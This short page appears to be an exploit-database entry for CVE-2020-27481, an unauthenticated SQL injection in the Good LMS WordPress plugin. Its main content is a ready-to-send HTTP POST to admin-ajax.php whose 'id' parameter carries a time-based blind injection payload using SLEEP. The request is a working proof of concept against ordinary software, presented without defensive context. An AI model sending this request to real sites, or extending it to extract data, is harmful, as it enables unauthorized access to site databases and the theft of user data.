Exploit Good LMS < 2.1.5 - Unauthenticated SQL Injection CVE-2020-27481

Name: Good LMS < 2.1.5 - Unauthenticated SQL Injection CVE-2020-27481
Rating: 5 (14 reviews)

2020-11-12 | CVSS 7.5

## https://sploitus.com/exploit?id=WPEX-ID:10467
POST /wp-admin/admin-ajax.php HTTP/1.1

action=gdlr_lms_cancel_booking&id=(SELECT 1337 FROM (SELECT(SLEEP(10)))MrMV)